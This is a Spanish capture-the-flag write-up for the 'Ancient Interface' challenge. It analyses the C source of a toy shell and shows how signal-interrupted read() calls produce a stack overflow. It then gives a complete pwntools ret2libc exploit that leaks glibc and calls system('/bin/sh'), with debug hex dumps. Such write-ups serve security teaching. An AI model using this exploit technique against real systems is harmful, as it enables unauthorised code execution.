<- PWN

Ancient Interface

37 minutos de lectura

Se nos proporciona un binario de 64 bits llamado ancient_interface:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Además, tenemos también el código fuente en C y un archivo DockerFile:

$ tree
.
├── build-docker.sh
├── challenge
│   ├── ancient_interface
│   ├── ancient_interface.c
│   └── flag.txt
└──  Dockerfile

1 directory, 5 files

Análisis de código fuente

No se necesita ingeniería inversa para este reto ya que tenemos el código fuente original:

#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <sys/time.h>
#include <time.h>

// gcc ancient_interface.c -lrt -no-pie -s -o ancient_interface

#define USER        "user"
#define HOSTNAME    "host"

#define PROMPT (USER "@" HOSTNAME "$ ")

#define ALARM_HIT   "Alarm has been hit!\n"

#define ALARM_HELP  "alarm <seconds>\n"
#define ECHO_HELP   "echo <$variable/string>\n"
#define READ_HELP   "read <amount of bytes> <variable>\n"

#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0]))

struct commands {
    const char *s;
    int (*func)();
};

struct kv {
    char *key;
    char *val;
};

struct variables {
    int32_t size;
    struct kv *kv;
};

int cmd_exit(char *params);
int cmd_alarm(char *params);
int cmd_echo(char *params);
int cmd_read(char *params);
int cmd_whoami(char *params);
int cmd_vars(char *params);

static const struct commands CMDS[] = {
    {   "exit",     &cmd_exit   },
    {   "alarm",    &cmd_alarm  },
    {   "echo",     &cmd_echo   },
    {   "read",     &cmd_read   },
    {   "whoami",   &cmd_whoami },
    {   "vars",     &cmd_vars   },
};

static struct variables VARS;

void alarm_handler()
{
    // ...
}

void setup()
{
    // ...
}

char *get_var(char *var)
{
    // ...
}

int put_var(char *key, char *val)
{
    // ...
}

int cmd_exit(char *params)
{
    // ...
}

int cmd_alarm(char *params)
{
    // ...
}

int cmd_echo(char *params)
{
    // ...
}

int cmd_read(char *params)
{
    // ...
}

int cmd_whoami(char *params)
{
    // ...
}

int cmd_vars(char *params)
{
    // ...
}

int main()
{
    char buf[4096];
    char *p;
    char *params;
    int32_t ret;
    int32_t found;

    setup();

    while (1)
    {
        printf(PROMPT);

        memset(buf, '\0', sizeof(buf));

        ret = read(0, buf, sizeof(buf) - 1);
        if (ret <= 1)
            continue;

        buf[ret - 1] = '\0';

        p = strchr(buf, ' ');
        if (p != NULL)
        {
            *p++ = '\0';

            while (*p == ' ')
                p++;

            params = p;
        }
        else
        {
            params = NULL;
        }

        found = 0;
        for (int32_t i = 0; i < ARRAY_SIZE(CMDS); i++)
        {
            if (strcmp(buf, CMDS[i].s) == 0)
            {
                found = 1;
                CMDS[i].func(params);
                break;
            }
        }

        if (!found)
            printf("%s: command not found\n", buf);
    }

    return 0;
}

Este programa proporciona una interfaz de shell sencilla. Estas son todas las funciones disponibles:

$ challenge/ancient_interface
user@host$ whoami
user
user@host$ echo asdf
asdf
user@host$ read 8 x
12345678
user@host$ echo $x
12345678
user@host$ vars
x
user@host$ alarm 1
user@host$ Alarm has been hit!
user@host$ exit

Como se puede ver, la función main toma la entrada del usuario y separa el comando de los argumentos, luego busca entre los comandos disponibles y ejecuta la función correspondiente con los parámetros especificados.

La mayor parte del código está correcto. Veamos las funciones una por una.

Comando whoami

Esta es solo una función de relleno:

int cmd_whoami(char *params)
{
    printf("%s\n", USER);

    return 0;
}

Comando vars

Esta muestra información sobre las variables:

int cmd_vars(char *params)
{
    for (int32_t i = 0; i < VARS.size; i++)
    {
        if (VARS.kv[i].key != NULL)
        {
            printf("%s\n", VARS.kv[i].key);
        }
    }

    return 0;
}

Las variables se gestionan con get_var y put_var:

char *get_var(char *var)
{
    char *p = NULL;

    for (int32_t i = 0; i < VARS.size; i++)
    {
        if (VARS.kv[i].key == NULL)
            continue;

        if (strcmp(var, VARS.kv[i].key) == 0)
        {
            p = VARS.kv[i].val;
            break;
        }
    }

    return p;
}

int put_var(char *key, char *val)
{
    int32_t idx;

    idx = -1;
    for (int32_t i = 0; i < VARS.size; i++)
    {
        if (VARS.kv[i].key == NULL)
        {
            idx = i;
            break;
        }
    }

    if (idx < 0)
        return 1;

    VARS.kv[idx].key = strdup(key);
    VARS.kv[idx].val = strdup(val);

    if (VARS.kv[idx].key == NULL || VARS.kv[idx].val == NULL)
        return 1;

    return 0;
}

Nuevamente, la estructura VARS y la forma en que se usa es segura.

Comando exit

Esta solo sale del programa y libera la memoria:

int cmd_exit(char *params)
{
    for (int32_t i = 0; i < VARS.size; i++)
    {
        if (VARS.kv[i].key != NULL)
            free(VARS.kv[i].key);
        if (VARS.kv[i].val != NULL)
            free(VARS.kv[i].val);
    }

    exit(EXIT_SUCCESS);
}

Comando echo

Esta función imprime la misma información proporcionada o muestra el valor de una variable dada (comenzando por $):

int cmd_echo(char *params)
{
    int32_t found;
    char *val;

    if (params == NULL)
    {
        printf(ECHO_HELP);
        return 1;
    }

    if (*params == '$')
    {
        val = get_var(params + 1);

        if (val == NULL)
            printf("%s is not defined\n", params);
        else
            printf("%s\n", val);
    }
    else
    {
        printf("%s\n", params);
    }

    return 0;
}

Nada extraño aquí.

Comando read

Aquí tenemos la forma de crear variables:

int cmd_read(char *params)
{
    char buf[4096] = { 0 };
    char *p;
    int32_t ret;
    int32_t read_bytes;
    uint32_t amnt;

    if (params == NULL)
    {
        printf(READ_HELP);
        return 1;
    }

    p = strchr(params, ' ');
    if (p == NULL)
    {
        printf(READ_HELP);
        return 1;
    }

    *p = '\0';

    if (get_var(p + 1) != NULL)
    {
        printf("read: variable $%s already exists\n", p + 1);
        return 1;
    }

    amnt = atoi(params);
    if (amnt == 0 || amnt >= sizeof(buf))
    {
        printf("read: invalid size\n");
        return 1;
    }

    read_bytes = 0;
    do
    {
        read_bytes += read(0, buf + read_bytes, amnt - read_bytes);
    } while (read_bytes != amnt);

    getchar();

    if (put_var(p + 1, buf) != 0)
        printf("read: maximum amount of variables reached\n");

    return 0;
}

La sintaxis es fácil, solo read <amount> <variable>, y el programa usará read con la cantidad especificada de caracteres.

Comando alarm

También tenemos la oportunidad de establecer una alarma:

void alarm_handler()
{
    write(1, ALARM_HIT, sizeof(ALARM_HIT));
}

// ...

int cmd_alarm(char *params)
{
    int32_t seconds;
    struct sigevent sev;
    struct itimerspec its;
    static timer_t tmid;

    if (params == NULL)
    {
        printf(ALARM_HELP);
        return 1;
    }

    seconds = atoi(params);
    if (seconds <= 0)
        return 1;

    sev.sigev_notify = SIGEV_SIGNAL;
    sev.sigev_signo = SIGALRM;

    if (timer_create(CLOCK_REALTIME, &sev, &tmid) < 0)
    {
        perror("timer_create");
        return 1;
    }

    its.it_value.tv_sec = seconds;
    its.it_value.tv_nsec = 0;
    its.it_interval.tv_sec = 0;
    its.it_interval.tv_nsec = 0;

    if (timer_settime(tmid, 0, &its, NULL) < 0)
    {
        perror("timer_settime");
        return 1;
    }

    return 0;
}

En resumen, las funciones de la shell se muestran aquí de nuevo:

$ challenge/ancient_interface
user@host$ whoami
user
user@host$ echo asdf
asdf
user@host$ read 8 x
12345678
user@host$ echo $x
12345678
user@host$ vars
x
user@host$ alarm 1
user@host$ Alarm has been hit!
user@host$ exit

El bug

Cuando leí todas las funciones, vi algún código extraño en cmd_read:

int cmd_read(char *params)
{
    // ...

    amnt = atoi(params);
    if (amnt == 0 || amnt >= sizeof(buf))
    {
        printf("read: invalid size\n");
        return 1;
    }

    read_bytes = 0;
    do
    {
        read_bytes += read(0, buf + read_bytes, amnt - read_bytes);
    } while (read_bytes != amnt);

    getchar();

    if (put_var(p + 1, buf) != 0)
        printf("read: maximum amount of variables reached\n");

    return 0;
}

La forma en que usa read es bastante rara. Parece que el tamaño de la variable debe ser exactamente el valor ingresado en el comando read:

$ challenge/ancient_interface
user@host$ read 8 q
asdf
a
a
user@host$ echo $q
asdf
a
a

No se detiene en el carácter de salto de línea.

También pensé que amnt era vulnerable a Integer Overflow, de modo que ingresar un número negativo nos daría la capacidad de usar read con una gran cantidad de bytes para leer. Pero no…

Como tenemos el código fuente, podemos agregar algunas instrucciones de depuración y recompilar el código:

int cmd_read(char *params)
{
    // ...

    amnt = atoi(params);
    printf("[DEBUG] amnt = %d (%u). sizeof(buf) = %ld\n", amnt, amnt, sizeof(buf));
    if (amnt == 0 || amnt >= sizeof(buf))
    {
        printf("read: invalid size\n");
        return 1;
    }

    read_bytes = 0;
    do
    {
        printf("Reading %d bytes\n", amnt - read_bytes);
        int ret = read(0, buf + read_bytes, amnt - read_bytes);
        read_bytes += ret;
        printf("Read %d bytes; ret = %d\n", read_bytes, ret);
    } while (read_bytes != amnt);

    getchar();

    if (put_var(p + 1, buf) != 0)
        printf("read: maximum amount of variables reached\n");

    return 0;
}

$ ./test
user@host$ read 8 q
[DEBUG] amnt = 8 (8). sizeof(buf) = 4096
Reading 8 bytes
asdf
Read 5 bytes; ret = 5
Reading 3 bytes

Read 6 bytes; ret = 1
Reading 2 bytes
q
Read 8 bytes; ret = 2
as
user@host$ s: command not found

user@host$ read -4294967196 w
[DEBUG] amnt = 100 (100). sizeof(buf) = 4096
Reading 100 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Read 100 bytes; ret = 100
user@host$ AAAA: command not found

Incluso usando Ctrl-D, no podemos salir del bucle do-while:

user@host$ read 8 e
[DEBUG] amnt = 8 (8). sizeof(buf) = 4096
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
asdf
Read 5 bytes; ret = 5
Reading 3 bytes
Read 5 bytes; ret = 0
Reading 3 bytes
Read 5 bytes; ret = 0
Reading 3 bytes
Read 5 bytes; ret = 0
Reading 3 bytes
asd
Read 8 bytes; ret = 3
user@host$

En este punto, debemos echar un vistazo al manual de read. De hecho, hay algunos valores de retorno que pueden ser negativos, por lo que aumentará la cantidad de bytes a leer:

EINTR The call was interrupted by a signal before any data was read; see signal(7).

Afortunadamente, tenemos una forma de establecer alarmas. Vamos a probar:

$ ./test
user@host$ alarm 5
user@host$ read 8 p
[DEBUG] amnt = 8 (8). sizeof(buf) = 4096
Reading 8 bytes
Alarm has been hit!
Read -1 bytes; ret = -1
Reading 9 bytes
123456789
Read 8 bytes; ret = 9
zsh: segmentation fault  ./test

¡Excelente! Hemos roto el programa con una vulnerabilidad de Buffer Overflow.

Estrategia de explotación

Para explotar la vulnerabilidad del Buffer Overflow, necesitamos establecer muchas alarmas para hacer que read lea suficientes bytes para ingresar a una cadena de ROP. Una vez que logremos eso, haremos un ataque ret2libc típico (una cadena de ROP para fugar una dirección de Glibc y saltarnos el ASLR y otra cadena ROP para llamar a system("/bin/sh")). Para obtener más información sobre el ataque ret2libc, consulte Here’s a LIBC, Shooting Star y Notepad as a Service.

Desarrollo del exploit

Veamos cuántos bytes debemos ingresar para controlar la dirección de retorno. Para eso, debemos adjuntar GDB al exploit de Python, ya que las alarmas en GDB no harán que read devuelva -1. Usaremos estas funciones:

def send_payload(payload: bytes):
    for _ in range(48):
        p.sendlineafter(PROMPT, b'alarm 2')

    p.sendlineafter(PROMPT, b'read 8 q')
    sleep(3)

    gdb.attach(p, 'continue')
    p.sendline(payload.ljust(8 + 48, b'A'))


def main():
    rop = ROP(elf)

    send_payload(cyclic(100))

    p.interactive()


if __name__ == '__main__':
    p = get_process()
    main()

Obsérvese que GDB se adjunta después de activar las alarmas. También tenga en cuenta que establecemos un total de 48 alarmas, para que obtengamos un desbordamiento de 48 bytes. De hecho, el programa se rompe. Usando cyclic de pwntools podemos saber cuántos caracteres necesitamos para controlar la dirección de retorno:

gef➤  x/s $rsp
0x7ffe2251d1a8: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa"
gef➤  shell pwn cyclic -l caaa
8

Entonces, solo necesitamos un relleno de 8 caracteres. Después de esos, pondremos la cadena ROP.

Como se dijo antes, el exploit es solo un ataque ret2libc. Aquí está el resto del exploit. No hay nada diferente de otros ataques ret2libc, solo la forma de obtener la vulnerabilidad de Buffer Overflow:

def main():
    rop = ROP(elf)

    payload  = b'A' * 8
    payload += p64(rop.rdi.address)
    payload += p64(elf.got.printf)
    payload += p64(elf.plt.puts)
    payload += p64(0x401290)

    send_payload(payload)

    printf_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\0'))
    p.info(f'Leaked printf() address: {hex(printf_addr)}')

    glibc.address = printf_addr - glibc.sym.printf
    p.success(f'Glibc base address: {hex(glibc.address)}')

    payload  = b'A' * 8
    payload += p64(rop.rdi.address)
    payload += p64(next(glibc.search(b'/bin/sh')))
    payload += p64(rop.ret.address)
    payload += p64(glibc.sym.system)

    send_payload(payload)

    p.interactive()

Si quitamos GDB de send_payload, Obtendremos una shell localmente:

$ python3 solve.py
[*] './challenge/ancient_interface'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './challenge/ancient_interface': pid 2874152
[*] Loaded 17 cached gadgets for 'challenge/ancient_interface'
[DEBUG] Received 0xb bytes:
    b'user@host$ '
[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'
[DEBUG] Received 0xb bytes:
    b'user@host$ '
[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'

...

[DEBUG] Received 0xb bytes:
    b'user@host$ '
[DEBUG] Sent 0x9 bytes:
    b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
    00000000  41 41 41 41  41 41 41 41  43 1d 40 00  00 00 00 00  │AAAA│AAAA│C·@·│····│
    00000010  48 40 40 00  00 00 00 00  74 11 40 00  00 00 00 00  │H@@·│····│t·@·│····│
    00000020  90 12 40 00  00 00 00 00  41 41 41 41  41 41 41 41  │··@·│····│AAAA│AAAA│
    00000030  41 41 41 41  41 41 41 41  0a                        │AAAA│AAAA│·│
    00000039
[DEBUG] Received 0x3f7 bytes:
    00000000  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    00000010  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    00000020  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    00000030  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    00000040  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    00000050  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    00000060  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    00000070  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    00000080  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    00000090  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    000000a0  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    000000b0  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    000000c0  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    000000d0  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    000000e0  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    000000f0  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    00000100  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    00000110  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    00000120  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    00000130  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    00000140  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    00000150  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    00000160  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    00000170  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    00000180  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    00000190  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    000001a0  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    000001b0  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    000001c0  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    000001d0  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    000001e0  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    000001f0  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    00000200  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    00000210  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    00000220  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    00000230  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    00000240  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    00000250  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    00000260  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    00000270  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    00000280  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    00000290  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    000002a0  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    000002b0  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    000002c0  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    000002d0  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    000002e0  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    000002f0  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    00000300  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    00000310  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    00000320  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    00000330  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    00000340  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    00000350  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    00000360  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    00000370  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    00000380  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    00000390  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    000003a0  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    000003b0  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    000003c0  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    000003d0  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    000003e0  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    000003f0  90 fc ea 92  f6 7f 0a                               │····│···│
    000003f7
[*] Leaked printf() address: 0x7ff692eafc90
[+] Glibc base address: 0x7ff692e4e000
[DEBUG] Received 0x16 bytes:
    b'user@host$ user@host$ '
[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'
[*] Leaked printf() address: 0x7ff692eafc90
[+] Glibc base address: 0x7ff692e4e000
[DEBUG] Received 0x16 bytes:
    b'user@host$ user@host$ '
[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'
[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'

...

[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'
[DEBUG] Received 0x16 bytes:
    b'user@host$ user@host$ '
[DEBUG] Sent 0x9 bytes:
    b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
    00000000  41 41 41 41  41 41 41 41  43 1d 40 00  00 00 00 00  │AAAA│AAAA│C·@·│····│
    00000010  bd 25 00 93  f6 7f 00 00  1a 10 40 00  00 00 00 00  │·%··│····│··@·│····│
    00000020  90 02 ea 92  f6 7f 00 00  41 41 41 41  41 41 41 41  │····│····│AAAA│AAAA│
    00000030  41 41 41 41  41 41 41 41  0a                        │AAAA│AAAA│·│
    00000039
[*] Switching to interactive mode
user@host$ [DEBUG] Received 0x3f0 bytes:
    00000000  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    00000010  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    00000020  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    00000030  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    00000040  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    00000050  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    00000060  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    00000070  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    00000080  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    00000090  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    000000a0  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    000000b0  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    000000c0  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    000000d0  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    000000e0  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    000000f0  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    00000100  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    00000110  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    00000120  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    00000130  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    00000140  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    00000150  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    00000160  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    00000170  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    00000180  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    00000190  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    000001a0  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    000001b0  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    000001c0  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    000001d0  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    000001e0  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    000001f0  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    00000200  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    00000210  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    00000220  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    00000230  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    00000240  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    00000250  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    00000260  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    00000270  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    00000280  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    00000290  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    000002a0  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    000002b0  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    000002c0  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    000002d0  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    000002e0  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    000002f0  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    00000300  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    00000310  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    00000320  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    00000330  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    00000340  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    00000350  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    00000360  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    00000370  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    00000380  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    00000390  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    000003a0  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    000003b0  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    000003c0  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    000003d0  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    000003e0  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    000003f0
Alarm has been hit!
\x00larm has been hit!
\x00larm has been hit!

...

\x00larm has been hit!
\x00larm has been hit!
\x00$ ls
[DEBUG] Sent 0x3 bytes:
